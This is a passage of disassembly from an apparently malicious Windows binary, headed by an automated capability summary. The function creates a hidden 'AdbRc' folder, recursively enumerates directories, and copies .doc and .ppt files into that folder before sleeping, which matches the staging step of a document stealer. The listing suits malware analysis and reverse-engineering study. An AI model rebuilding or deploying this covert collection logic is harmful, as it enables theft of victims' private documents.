Function at 0x1400048c0
Capabilities:
Copy file
Create directory
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x4f0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x1400d7090]
xor rax, rsp
mov qword [rsp + 0x4c0], rax
mov r13, rdx
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0x108], rdx
xor esi, esi
lea rdx, [rsp + 0x210]
call fcn.140002e20
nop
lea r8, [rsp + 0x210]
cmp qword [rsp + 0x228], 0x10
cmovae r8, qword [rsp + 0x210]
add r8, qword [rsp + 0x220]
lea rdx, [rsp + 0x210]
cmp qword [rsp + 0x228], 0x10
cmovae rdx, qword [rsp + 0x210]
lea rcx, [rsp + 0x250]
call fcn.14000a440
nop
lea rdx, [0x1400c8dfc]
lea rcx, [rsp + 0x158]
call fcn.140007450
nop
lea rdx, [rsp + 0x250]
cmp qword [rsp + 0x268], 8
cmovae rdx, qword [rsp + 0x250]
mov r8, qword [rsp + 0x260]
lea rcx, [rsp + 0x158]
call fcn.140008950
mov rdi, qword [rsp + 0x168]
mov rcx, qword [rsp + 0x170]
mov rax, rcx
sub rax, rdi
cmp rax, 6
jb 0x140004a03
lea rax, [rdi + 6]
mov qword [rsp + 0x168], rax
lea rbx, [rsp + 0x158]
cmp rcx, 8
cmovae rbx, qword [rsp + 0x158]
lea rcx, [rbx + rdi*2]
lea r8d, [rsi + 0xc]
lea rdx, str.AdbRc
call fcn.140074000
mov word [rbx + rdi*2 + 0xc], si
jmp 0x140004a27
mov qword [rsp + 0x20], 6
lea r9, str.AdbRc
xor r8d, r8d
lea edx, [r8 + 6]
lea rcx, [rsp + 0x158]
call fcn.14000b030
lea rcx, [rsp + 0x158]
cmp qword [rsp + 0x170], 8
cmovae rcx, qword [rsp + 0x158]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [rsp + 0x158]
cmp qword [rsp + 0x170], 8
cmovae rcx, qword [rsp + 0x158]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov qword [rsp + 0x1f0], rsi
mov qword [rsp + 0x200], rsi
mov qword [rsp + 0x208], rsi
mov r8d, 4
lea rdx, str..doc
lea rcx, [rsp + 0x1f0]
call fcn.14000ad60
nop
mov qword [rsp + 0x1d0], rsi
mov qword [rsp + 0x1e0], rsi
mov qword [rsp + 0x1e8], rsi
mov r8d, 4
lea rdx, str..ppt
lea rcx, [rsp + 0x1d0]
call fcn.14000ad60
nop
lea rdx, str.en_US.UTF_8
xor ecx, ecx
call fcn.140078f68
nop
mov rcx, qword [r13 + 0x10]
movabs r14, 0x7ffffffffffffffe
mov rax, r14
sub rax, rcx
cmp rax, 2
jb 0x1400060c0
mov r9, r13
cmp qword [r13 + 0x18], 8
jb 0x140004b0f
mov r9, qword [r13]
mov qword [rsp + 0x30], 2
lea rax, [0x1400c8e9c]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x118]
call fcn.14000be20
nop
lea rdx, [rsp + 0x118]
cmp qword [rsp + 0x130], 8
cmovae rdx, qword [rsp + 0x118]
mov r8, qword [rsp + 0x128]
call fcn.14000c120
lea rcx, [rsp + 0x118]
cmp qword [rsp + 0x130], 8
cmovae rcx, qword [rsp + 0x118]
lea rdx, [rsp + 0x270]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rsp + 0x48], rax
cmp rax, 0xffffffffffffffff
je 0x140005dfd
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x198], xmm1
mov qword [rsp + 0x1a8], rsi
mov rdi, 0xffffffffffffffff
lea r15d, [rdi + 0x17]
mov r12, qword [rsp + 0x1e0]
mov rbx, rax
nop
mov ecx, 0xa
test byte [rsp + 0x270], 0x10
je 0x140004c0e
lea rdx, [0x1400c8ea4]
lea rcx, [rsp + 0x29c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140005c7e
lea rdx, [0x1400c8ea8]
lea rcx, [rsp + 0x29c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140005c7e
mov ecx, 0xa
mov qword [rsp + 0x178], rsi
mov qword [rsp + 0x188], rsi
mov qword [rsp + 0x190], rsi
lea rax, [rsp + 0x29c]
mov rbx, rdi
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140004c31
cmp rbx, r14
ja 0x1400060c6
mov qword [rsp + 0x190], 7
cmp rbx, 8
jae 0x140004c83
mov qword [rsp + 0x188], rbx
add rbx, rbx
mov r8, rbx
lea rdx, [rsp + 0x29c]
lea rcx, [rsp + 0x178]
call fcn.140074000
mov word [rsp + rbx + 0x178], si
jmp 0x140004ce6
mov rdi, rbx
or rdi, 7
cmp rdi, r14
jbe 0x140004c94
mov rdi, r14
jmp 0x140004c9c
cmp rdi, 0xa
cmovb rdi, rcx
lea rdx, [rdi + 1]
lea rcx, [rsp + 0x178]
call fcn.14000bef0
mov rsi, rax
mov qword [rsp + 0x178], rax
mov qword [rsp + 0x188], rbx
mov qword [rsp + 0x190], rdi
add rbx, rbx
mov r8, rbx
lea rdx, [rsp + 0x29c]
mov rcx, rax
call fcn.140074000
xor eax, eax
mov word [rsi + rbx], ax
xor esi, esi
lea rdx, [rsp + 0x178]
cmp qword [rsp + 0x190], 8
setae r8b
cmovae rdx, qword [rsp + 0x178]
mov rax, qword [rsp + 0x188]
lea r14, [rdx + rax*2]
lea rdi, [rsp + 0x178]
test r8b, r8b
cmovne rdi, qword [rsp + 0x178]
mov rax, rsi
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1c0], rsi
cmp rdi, r14
jne 0x140004d55
mov qword [rsp + 0x1c8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x1b0], 0
jmp 0x140004e74
mov ebx, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x1c8], rbx
mov rcx, r14
sub rcx, rdi
sar rcx, 1
movabs rdx, 0x7fffffffffffffff
cmp rcx, rdx
ja 0x1400060cc
cmp rcx, 0x10
jb 0x140004e10
mov rbx, rcx
or rbx, 0xf
cmp rbx, rdx
jbe 0x140004d99
mov rbx, rdx
jmp 0x140004da1
cmp rbx, 0x16
cmovb rbx, r15
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x140004deb
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400060d1
mov rcx, rax
call fcn.14001d8c0
mov rcx, rax
test rax, rax
je 0x14000618f
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140004df9
test rcx, rcx
je 0x140004df7
call fcn.14001d8c0
jmp 0x140004df9
xor eax, eax
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1c8], rbx
nop dword [rax]
lea rcx, [rsp + 0x1b0]
cmp rbx, 0x10
cmovae rcx, rax
movzx eax, byte [rdi]
mov byte [rcx + rsi], al
mov rsi, qword [rsp + 0x1c0]
inc rsi
mov qword [rsp + 0x1c0], rsi
add rdi, 2
cmp rdi, r14
je 0x140004e54
mov rbx, qword [rsp + 0x1c8]
mov rax, qword [rsp + 0x1b0]
jmp 0x140004e10
lea rax, [rsp + 0x1b0]
cmp qword [rsp + 0x1c8], 0x10
cmovae rax, qword [rsp + 0x1b0]
mov byte [rax + rsi], 0
xor esi, esi
mov r14, qword [r13 + 0x10]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, r14
cmp rax, 1
jb 0x1400060d7
mov r15, r13
cmp qword [r13 + 0x18], 8
jb 0x140004ea0
mov r15, qword [r13]
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0xb0], rsi
lea rsi, [r14 + 1]
mov ebx, 7
lea rdi, [rsp + 0x98]
cmp rsi, rbx
jbe 0x140004f68
mov rbx, rsi
or rbx, 7
cmp rbx, rcx
jbe 0x140004ef1
mov rbx, rcx
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x140004f21
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
lea rcx, [rbx + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x1400060dc
add rcx, rcx
cmp rcx, 0x1000
jb 0x140004f4d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400060e1
mov rcx, rax
call fcn.14001d8c0
test rax, rax
je 0x1400060ed
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140004f60
test rcx, rcx
je 0x140004f5c
call fcn.14001d8c0
mov rdi, rax
jmp 0x140004f60
xor eax, eax
mov edi, eax
mov qword [rsp + 0x98], rdi
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0xb0], rbx
lea rbx, [r14 + r14]
mov r8, rbx
mov rdx, r15
mov rcx, rdi
call fcn.140074000
mov eax, 0x5c
mov word [rbx + rdi], ax
xor r14d, r14d
mov word [rdi + rsi*2], r14w
lea rdx, [rsp + 0x178]
cmp qword [rsp + 0x190], 8
cmovae rdx, qword [rsp + 0x178]
mov r8, qword [rsp + 0x188]
lea rcx, [rsp + 0x98]
call fcn.140008950
movups xmm6, xmmword [rax]
movups xmmword [rsp + 0xe8], xmm6
movups xmm7, xmmword [rax + 0x10]
movups xmmword [rsp + 0xf8], xmm7
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
mov rdx, qword [rsp + 0x130]
cmp rdx, 8
jb 0x140005039
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005034
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400060e7
call fcn.14001d650
movups xmmword [rsp + 0x118], xmm6
movups xmmword [rsp + 0x128], xmm7
mov rdx, qword [rsp + 0xb0]
cmp rdx, 8
jb 0x140005091
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000508c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400060ed
call fcn.14001d650
lea rax, [rsp + 0x118]
mov r8, qword [rsp + 0x130]
cmp r8, 8
setae cl
mov r9, qword [rsp + 0x118]
cmovae rax, r9
mov r10, qword [rsp + 0x128]
lea rsi, [rax + r10*2]
lea rdi, [rsp + 0x118]
test cl, cl
cmovne rdi, r9
mov rax, r14
mov qword [rsp + 0x138], rax
cmp rdi, rsi
jne 0x1400050fe
mov qword [rsp + 0x148], r14
mov qword [rsp + 0x150], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x138], al
jmp 0x14000525a
mov rdx, r14
mov qword [rsp + 0x148], rdx
mov ebx, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x150], rbx
mov rcx, rsi
sub rcx, rdi
sar rcx, 1
movabs r8, 0x7fffffffffffffff
cmp rcx, r8
ja 0x1400060f3
cmp rcx, 0x10
jb 0x1400051e0
mov rbx, rcx
or rbx, 0xf
cmp rbx, r8
jbe 0x14000514d
mov rbx, r8
jmp 0x14000515a
cmp rbx, 0x16
mov eax, socket
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x1400051ac
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400060f8
mov rcx, rax
call fcn.14001d8c0
mov rcx, rax
test rax, rax
je 0x140006189
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov rdx, qword [rsp + 0x148]
jmp 0x1400051c3
test rcx, rcx
je 0x1400051c0
call fcn.14001d8c0
mov rdx, qword [rsp + 0x148]
jmp 0x1400051c3
mov rax, r14
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x150], rbx
nop dword [rax]
nop word [rax + rax]
lea rcx, [rsp + 0x138]
cmp rbx, 0x10
cmovae rcx, rax
movzx eax, byte [rdi]
mov byte [rcx + rdx], al
mov rdx, qword [rsp + 0x148]
inc rdx
mov qword [rsp + 0x148], rdx
add rdi, 2
cmp rdi, rsi
je 0x140005224
mov rbx, qword [rsp + 0x150]
mov rax, qword [rsp + 0x138]
jmp 0x1400051e0
lea rax, [rsp + 0x138]
cmp qword [rsp + 0x150], 0x10
cmovae rax, qword [rsp + 0x138]
mov byte [rax + rdx], 0
mov r8, qword [rsp + 0x130]
mov r10, qword [rsp + 0x128]
mov r9, qword [rsp + 0x118]
lea rdx, [rsp + 0x118]
cmp r8, 8
cmovae rdx, r9
mov r8, r10
call fcn.14000c120
mov rbx, rax
mov rax, qword [rax]
movsxd rax, dword [rax + 4]
mov rax, qword [rax + rbx + 0x40]
mov rcx, qword [rax + 8]
mov qword [rsp + 0xe0], rcx
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0xd8]
call fcn.14000c410
mov rcx, rax
mov rax, qword [rax]
mov dl, 0xa
call qword [rax + 0x60]
movzx edi, ax
mov rcx, qword [rsp + 0xe0]
test rcx, rcx
je 0x1400052d5
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x1400052d5
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
movzx edx, di
mov rcx, rbx
call fcn.14000ba50
mov rcx, rbx
call fcn.1400098b0
lea r9, [rsp + 0x1f0]
cmp qword [rsp + 0x208], 0x10
cmovae r9, qword [rsp + 0x1f0]
lea rcx, [rsp + 0x138]
cmp qword [rsp + 0x150], 0x10
setae r15b
mov r14, qword [rsp + 0x138]
cmovae rcx, r14
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x20], rax
mov rbx, qword [rsp + 0x148]
mov rdx, rbx
call fcn.14000aca0
cmp rax, 0xffffffffffffffff
jne 0x140005431
lea rdi, [rsp + 0x1d0]
cmp qword [rsp + 0x1e8], 0x10
cmovae rdi, qword [rsp + 0x1d0]
lea rsi, [rsp + 0x138]
test r15b, r15b
cmovne rsi, r14
cmp r12, rbx
ja 0x1400053df
sub rbx, r12
test r12, r12
je 0x140005431
lea r14, [rsi + rbx]
movsx r15d, byte [rdi]
lea r8, [r14 + 1]
sub r8, rsi
mov edx, r15d
mov rcx, rsi
call fcn.140074a70
mov rbx, rax
test rax, rax
je 0x1400053df
nop word [rax + rax]
mov r8, r12
mov rdx, rdi
mov rcx, rbx
call fcn.140074af0
test eax, eax
je 0x140005428
inc rbx
lea r8, [r14 + 1]
sub r8, rbx
mov edx, r15d
mov rcx, rbx
call fcn.140074a70
mov rbx, rax
test rax, rax
jne 0x1400053b0
mov rdi, 0xffffffffffffffff
test byte [rsp + 0x270], 0x10
je 0x140005b7c
mov rax, qword [rsp + 0x1a0]
cmp rax, qword [rsp + 0x1a8]
je 0x140005b63
lea rdx, [rsp + 0x118]
mov rcx, rax
call fcn.140007540
add qword [rsp + 0x1a0], 0x20
jmp 0x140005b7c
sub rbx, rsi
cmp rbx, 0xffffffffffffffff
je 0x1400053df
lea rbx, [rsp + 0x118]
cmp qword [rsp + 0x130], 8
cmovae rbx, qword [rsp + 0x118]
call fcn.140002a30
mov rcx, rax
test rax, rax
je 0x1400060fe
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x110], rax
test rbx, rbx
je 0x1400054a1
cmp rbx, 0x10000
jae 0x14000548e
movzx edx, bx
lea rcx, [rsp + 0x110]
call fcn.140009b10
jmp 0x1400054b7
mov rax, 0xffffffffffffffff
inc rax
cmp word [rbx + rax*2], 0
jne 0x140005495
jmp 0x1400054a3
xor eax, eax
mov r8d, eax
mov rdx, rbx
lea rcx, [rsp + 0x110]
call fcn.140009da0
nop
xor r13d, r13d
mov edi, r13d
mov r12, qword [rsp + 0x110]
mov rbx, r12
movsxd rax, dword [r12 - 0x10]
lea rsi, [r12 + rax*2]
cmp r12, rsi
jae 0x14000565e
nop word [rax + rax]
lea rdx, [0x1400c8df8]
mov rcx, rbx
call fcn.140073bb0
test rax, rax
je 0x14000551a
nop dword [rax]
nop dword [rax + rax]
inc edi
lea rbx, [rax + 2]
lea rdx, [0x1400c8df8]
mov rcx, rbx
call fcn.140073bb0
test rax, rax
jne 0x140005500
test rbx, rbx
je 0x140005532
mov rax, 0xffffffffffffffff
inc rax
cmp word [rbx + rax*2], r13w
jne 0x140005526
jmp 0x140005535
mov eax, r13d
inc eax
movsxd rcx, eax
lea rbx, [rbx + rcx*2]
cmp rbx, rsi
jb 0x1400054e0
test edi, edi
jle 0x14000565e
movsxd r14, dword [r12 - 0x10]
test r14d, r14d
js 0x140006109
mov ecx, 1
mov rsi, qword [rsp + 0x110]
sub ecx, dword [rsi - 8]
mov eax, dword [rsi - 0xc]
sub eax, r14d
or eax, ecx
jge 0x14000558b
mov edx, r14d
lea rcx, [rsp + 0x110]
call fcn.140009d40
mov rsi, qword [rsp + 0x110]
mov r12, r14
add r12, r12
lea r15, [rsi + r12]
mov rbx, rsi
nop dword [rax + rax]
cmp rbx, r15
jae 0x140005649
nop dword [rax]
lea rdx, [0x1400c8df8]
mov rcx, rbx
call fcn.140073bb0
mov rdi, rax
test rax, rax
je 0x140005615
mov rdx, rax
sub rdx, rsi
sar rdx, 1
mov ecx, r14d
sub ecx, edx
movsxd rsi, ecx
dec rsi
lea r8, [rsi + rsi]
lea rbx, [rax + 2]
test r8, r8
je 0x1400055fc
test rbx, rbx
je 0x140006113
mov rdx, rbx
mov rcx, rbx
call fcn.140074000
mov eax, 0x5f
mov word [rdi], ax
xor eax, eax
mov word [rdi + rsi*2 + 2], ax
mov rsi, qword [rsp + 0x110]
jmp 0x1400055b0
test rbx, rbx
je 0x140005639
mov rax, 0xffffffffffffffff
inc rax
cmp word [rbx + rax*2], r13w
jne 0x140005621
inc eax
movsxd rcx, eax
lea rbx, [rbx + rcx*2]
jmp 0x1400055a0
xor eax, eax
inc eax
movsxd rcx, eax
lea rbx, [rbx + rcx*2]
jmp 0x1400055a0
cmp r14d, dword [rsi - 0xc]
jg 0x14000612d
mov dword [rsi - 0x10], r14d
mov word [rsi + r12], r13w
jmp 0x140005666
mov rsi, qword [rsp + 0x110]
mov edi, r13d
mov rbx, rsi
lea r14, [rsi - 0x10]
movsxd rax, dword [r14]
lea rsi, [rsi + rax*2]
cmp rbx, rsi
jae 0x1400057f1
lea rdx, [0x1400c8ec0]
mov rcx, rbx
call fcn.140073bb0
test rax, rax
je 0x1400056ba
nop dword [rax]
nop dword [rax + rax]
inc edi
lea rbx, [rax + 2]
lea rdx, [0x1400c8ec0]
mov rcx, rbx
call fcn.140073bb0
test rax, rax
jne 0x1400056a0
test rbx, rbx
je 0x1400056d2
mov rax, 0xffffffffffffffff
inc rax
cmp word [rbx + rax*2], 0
jne 0x1400056c6
jmp 0x1400056d5
mov eax, r13d
inc eax
movsxd rcx, eax
lea rbx, [rbx + rcx*2]
cmp rbx, rsi
jb 0x140005680
test edi, edi
jle 0x1400057f1
movsxd r14, dword [r14]
test r14d, r14d
js 0x140006137
mov ecx, 1
mov rsi, qword [rsp + 0x110]
sub ecx, dword [rsi - 8]
mov eax, dword [rsi - 0xc]
sub eax, r14d
or eax, ecx
jge 0x140005729
mov edx, r14d
lea rcx, [rsp + 0x110]
call fcn.140009d40
mov rsi, qword [rsp + 0x110]
mov r12, r14
add r12, r12
lea r15, [rsi + r12]
mov rbx, rsi
cmp rbx, r15
jae 0x1400057d9
nop
lea rdx, [0x1400c8ec0]
mov rcx, rbx
call fcn.140073bb0
mov rdi, rax
test rax, rax
je 0x1400057a5
mov rdx, rax
sub rdx, rsi
sar rdx, 1
mov ecx, r14d
sub ecx, edx
movsxd rsi, ecx
dec rsi
lea r8, [rsi + rsi]
lea rbx, [rax + 2]
test r8, r8
je 0x14000578c
test rbx, rbx
je 0x140006141
mov rdx, rbx
mov rcx, rbx
call fcn.140074000
mov eax, 0x5f
mov word [rdi], ax
xor eax, eax
mov word [rdi + rsi*2 + 2], ax
mov rsi, qword [rsp + 0x110]
jmp 0x140005740
test rbx, rbx
je 0x1400057c9
mov rax, 0xffffffffffffffff
inc rax
cmp word [rbx + rax*2], 0
jne 0x1400057b1
inc eax
movsxd rcx, eax
lea rbx, [rbx + rcx*2]
jmp 0x140005736
xor eax, eax
inc eax
movsxd rcx, eax
lea rbx, [rbx + rcx*2]
jmp 0x140005736
cmp r14d, dword [rsi - 0xc]
jg 0x14000615b
mov dword [rsi - 0x10], r14d
xor r13d, r13d
mov word [r12 + rsi], r13w
jmp 0x1400057f9
mov rsi, qword [rsp + 0x110]
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp word [rsi + rbx*2], 0
jne 0x140005810
movabs r15, 0x7ffffffffffffffe
cmp rbx, r15
ja 0x140006165
mov qword [rsp + 0x68], 7
cmp rbx, 8
jae 0x140005864
mov qword [rsp + 0x60], rbx
add rbx, rbx
mov r8, rbx
mov rdx, rsi
lea rcx, [rsp + 0x50]
call fcn.140074000
mov word [rsp + rbx + 0x50], r13w
mov r12, qword [rsp + 0x110]
jmp 0x1400058c0
mov rdi, rbx
or rdi, 7
cmp rdi, r15
jbe 0x140005875
mov rdi, r15
jmp 0x140005882
cmp rdi, 0xa
mov eax, 0xa
cmovb rdi, rax
lea rdx, [rdi + 1]
lea rcx, [rsp + 0x50]
call fcn.14000bef0
mov rsi, rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rdi
add rbx, rbx
mov r8, rbx
mov r12, qword [rsp + 0x110]
mov rdx, r12
mov rcx, rax
call fcn.140074000
mov word [rsi + rbx], r13w
mov r14, qword [rsp + 0x168]
mov rax, r15
sub rax, r14
cmp rax, 1
jb 0x14000616b
lea r15, [rsp + 0x158]
cmp qword [rsp + 0x170], 8
cmovae r15, qword [rsp + 0x158]
mov qword [rsp + 0xb8], r13
mov qword [rsp + 0xc8], r13
mov qword [rsp + 0xd0], r13
lea rsi, [r14 + 1]
mov ebx, 7
lea rdi, [rsp + 0xb8]
cmp rsi, rbx
jbe 0x14000595a
mov rbx, rsi
or rbx, 7
movabs rcx, 0x7ffffffffffffffe
cmp rbx, rcx
jbe 0x1400059ea
mov rbx, rcx
movabs rcx, 0x7fffffffffffffff
add rcx, rcx
call fcn.14000c710
mov rdi, rax
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0xd0], rbx
lea rbx, [r14 + r14]
mov r8, rbx
mov rdx, r15
mov rcx, rdi
call fcn.140074000
mov eax, 0x5c
mov word [rdi + rbx], ax
mov word [rdi + rsi*2], r13w
lea r9, [rsp + 0x50]
lea r8, [rsp + 0xb8]
lea rcx, [rsp + 0x230]
call fcn.14000bc70
nop
mov rdx, qword [rsp + 0xd0]
cmp rdx, 8
jb 0x140005a19
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a13
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006171
jmp 0x140005a13
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
lea rcx, [rbx + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x140006177
jmp 0x140005947
call fcn.14001d650
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x140005a5b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a56
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000617d
call fcn.14001d650
lea rdx, [rsp + 0x118]
cmp qword [rsp + 0x130], 8
cmovae rdx, qword [rsp + 0x118]
mov r8, qword [rsp + 0x128]
call fcn.14000c120
mov rcx, rax
call fcn.14000a7e0
lea rdx, [rsp + 0x230]
cmp qword [rsp + 0x248], 8
cmovae rdx, qword [rsp + 0x230]
lea rcx, [rsp + 0x118]
cmp qword [rsp + 0x130], 8
cmovae rcx, qword [rsp + 0x118]
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_CopyFileW]
nop
mov rdx, qword [rsp + 0x248]
cmp rdx, 8
jb 0x140005b13
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005b0e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006183
call fcn.14001d650
mov qword [rsp + 0x240], r13
mov qword [rsp + 0x248], 7
mov word [rsp + 0x230], r13w
lea rdx, [r12 - 0x18]
mov rdi, 0xffffffffffffffff
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140005b51
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r12, qword [rsp + 0x1e0]
mov r13, qword [rsp + 0x40]
jmp 0x1400053e6
lea r8, [rsp + 0x118]
mov rdx, rax
lea rcx, [rsp + 0x198]
call fcn.14000c550
nop
mov rdx, qword [rsp + 0x150]
cmp rdx, 0x10
jb 0x140005bbf
inc rdx
mov rcx, qword [rsp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005bba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006189
call fcn.14001d650
xor esi, esi
mov qword [rsp + 0x148], rsi
mov qword [rsp + 0x150], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x138], sil
mov rdx, qword [rsp + 0x1c8]
cmp rdx, 0x10
jb 0x140005c21
inc rdx
mov rcx, qword [rsp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005c1b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000618f
call fcn.14001d650
nop
mov rdx, qword [rsp + 0x190]
cmp rdx, 8
jb 0x140005c69
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005c64
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006195
call fcn.14001d650
movabs r14, 0x7ffffffffffffffe
mov r15d, socket
mov rbx, qword [rsp + 0x48]
lea rdx, [rsp + 0x270]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140004bc0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rsp + 0x198]
mov rbx, rcx
mov r15, qword [rsp + 0x1a0]
mov r12, qword [rsp + 0x90]
nop dword [rax + rax]
cmp rbx, r15
je 0x140005da5
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x88], rsi
mov r14, rbx
cmp qword [rbx + 0x18], 8
jb 0x140005ceb
mov r14, qword [rbx]
mov rsi, qword [rbx + 0x10]
movabs rax, 0x7ffffffffffffffe
cmp rsi, rax
ja 0x14000619b
mov qword [rsp + 0x88], 7
cmp rsi, 8
jae 0x140005d31
mov qword [rsp + 0x80], rsi
mov r8d, reloc.WS2_32.dll_recv
mov rdx, r14
lea rcx, [rsp + 0x70]
call fcn.140074000
jmp 0x140005d85
mov rdi, rsi
or rdi, 7
cmp rdi, rax
jbe 0x140005d42
mov rdi, rax
jmp 0x140005d4f
cmp rdi, 0xa
mov eax, 0xa
cmovb rdi, rax
lea rdx, [rdi + 1]
lea rcx, [rsp + 0x70]
call fcn.14000bef0
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x88], rdi
lea r8, [rsi*2 + 2]
mov rdx, r14
mov rcx, rax
call fcn.140074000
lea rdx, [rsp + 0x70]
mov rcx, r12
call fcn.1400048c0
add rbx, 0x20
mov rcx, qword [rsp + 0x198]
xor esi, esi
jmp 0x140005cc0
test rcx, rcx
je 0x140005df8
mov rdx, qword [rsp + 0x1a0]
call fcn.14000afa0
mov rdx, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x198]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005df3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400061a1
call fcn.14001d650
mov r13, qword [rsp + 0x40]
mov ecx, 0x1f40
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rsp + 0x130]
cmp rdx, 8
jb 0x140005e52
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e4c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400061a7
call fcn.14001d650
nop
mov rdx, qword [rsp + 0x1e8]
